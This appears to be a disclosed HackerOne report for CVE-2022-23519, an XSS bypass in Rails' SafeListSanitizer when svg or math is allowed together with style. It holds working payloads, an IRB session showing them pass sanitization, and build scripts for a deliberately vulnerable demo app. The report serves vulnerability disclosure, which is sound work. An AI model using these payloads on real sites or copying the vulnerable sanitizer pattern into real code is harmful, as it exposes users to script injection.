CVE-2022-23519: Rails::Html::SafeListSanitizer vulnerable to XSS when certain tags are allowed (math+style || svg+style)

Disclosed: 2023-01-04 20:37:52 By 0b5cur17y To ibb
Medium
Vulnerability Details
The following is from: https://hackerone.com/reports/1656627 ## Intro The Rails HTML sanitzier allows to set certain combinations of tags in it's allow list that are not properly handled. Similar to the report [1530898](https://hackerone.com/reports/1530898), which identified the combination`select` and `style` as vulnerable, my fuzz testing from today suggests that also `svg` and `style` as well as `math` and `style` allow XSS. The following are PoCs for each of these allow list: - `svg` and `style`: `<svg><style><script>alert(1)</script></style></svg>` - `math` and `style`: `<math><style><img src=x onerror=alert(1)></style></math>` See the following IRB session: ``` irb(main):016:0> require 'rails-html-sanitizer' => false irb(main):017:0> Rails::Html::SafeListSanitizer.new.sanitize("<svg><style><script>alert(1)</script></style></svg>", tags: ["svg", "style"]).to_s => "<svg><style><script>alert(1)</script></style></svg>" irb(main):018:0> Rails::Html::SafeListSanitizer.new.sanitize("<math><style><img src=x onerror=alert(1)></style></math>", tags: ["math", "style"]).to_s => "<math><style><img src=x onerror=alert(1)></style></math>" irb(main):019:0> puts Rails::Html::Sanitizer::VERSION 1.4.3 => nil ``` ## Sample Vulnerable Rails Application To build a sample rails application that is vulnerable, I've used the following `Dockerfile`: ``` FROM ruby:3.1.2 RUN apt-get update && apt-get install -y vim WORKDIR /usr/src/app RUN gem install rails && rails new myapp WORKDIR /usr/src/app/myapp COPY build-rails-app.sh ./build-rails-app.sh RUN sh ./build-rails-app.sh RUN RAILS_ENV=production rails assets:precompile CMD ["./bin/rails", "server", "-b", "0.0.0.0", "-e", "production"] ``` In the same directory, put a shell script `build-rails-app.sh` which writes the app: ``` #!/ibn/sh # make routes cat << EOF > ./config/routes.rb Rails.application.routes.draw do get "/poc1", to: "poc1#index" get "/poc2", to: "poc2#index" end EOF # make Poc1 endpoint # http://localhost:8888/poc1?name=%3Csvg%3E%3Cstyle%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/style%3E%3Csvg%3E bin/rails generate controller Poc1 index --skip-routes cat << EOF > ./app/controllers/poc1_controller.rb class Poc1Controller < ApplicationController def index @name = params[:name] || "put your name here" end end EOF cat << EOF > ./app/views/poc1/index.html.erb <h1> Hello <%= sanitize @name, tags: ["svg", "style"] %> </h1> <br> PoC with a sanitized, reflected parameter 'name' for which 'svg' annd 'style' tags are allowed. <br> <%= link_to "Go to PoC", "/poc1?name=<svg><style><script>alert(1)</script></style><svg>" %> <br> <br> Using: rails-html-sanitizer <%= Rails::Html::Sanitizer::VERSION %> EOF # make Poc2 endpoint # http://localhost:8888/poc2?name=%3Cmath%3E%3Cstyle%3E%3Cimg%20src=x%20onerror=alert(1)%3E%3C/style%3E%3Cmath%3E bin/rails generate controller Poc2 index --skip-routes cat << EOF > ./app/controllers/poc2_controller.rb class Poc2Controller < ApplicationController def index @name = params[:name] || "put your name here" end end EOF cat << EOF > ./app/views/poc2/index.html.erb <h1> Hello <%= sanitize @name, tags: ["math", "style"] %> </h1> <br> PoC with a sanitized, reflected parameter 'name' for which 'math' annd 'style' tags are allowed. <br> <%= link_to "Go to PoC", "/poc2?name=<math><style><img src=x onerror=alert(1)></style><math>" %> <br> <br> Using: rails-html-sanitizer <%= Rails::Html::Sanitizer::VERSION %> EOF ``` With the following `Makefile` you can build and run the application ``` .PHONY: build build: docker build -t local/railspoc:latest . .PHONY: run run: docker run -it --rm -p 127.0.0.1:8888:3000 local/railspoc:latest ``` Now you have a Rails application with two routes `/poc1` and `/poc2` running locally. Visit: - [http://localhost:8888/poc1?name=%3Csvg%3E%3Cstyle%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/style%3E%3Csvg%3E](http://localhost:8888/poc1?name=%3Csvg%3E%3Cstyle%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/style%3E%3Csvg%3E) - [http://localhost:8888/poc2?name=%3Cmath%3E%3Cstyle%3E%3Cimg%20src=x%20onerror=alert(1)%3E%3C/style%3E%3Cmath%3E](http://localhost:8888/poc2?name=%3Cmath%3E%3Cstyle%3E%3Cimg%20src=x%20onerror=alert(1)%3E%3C/style%3E%3Cmath%3E) See the screenshot in https://hackerone.com/reports/1656627 for what it will roughly look like. Both alerts should be executed. ## Impact It is possible to bypass Rails::Html::SafeListSanitizer filtering and perform an XSS attack.
Actions
View on HackerOne
Report Stats
  • Report ID: 1805899
  • State: Closed
  • Substate: resolved
  • Upvotes: 22
Share this report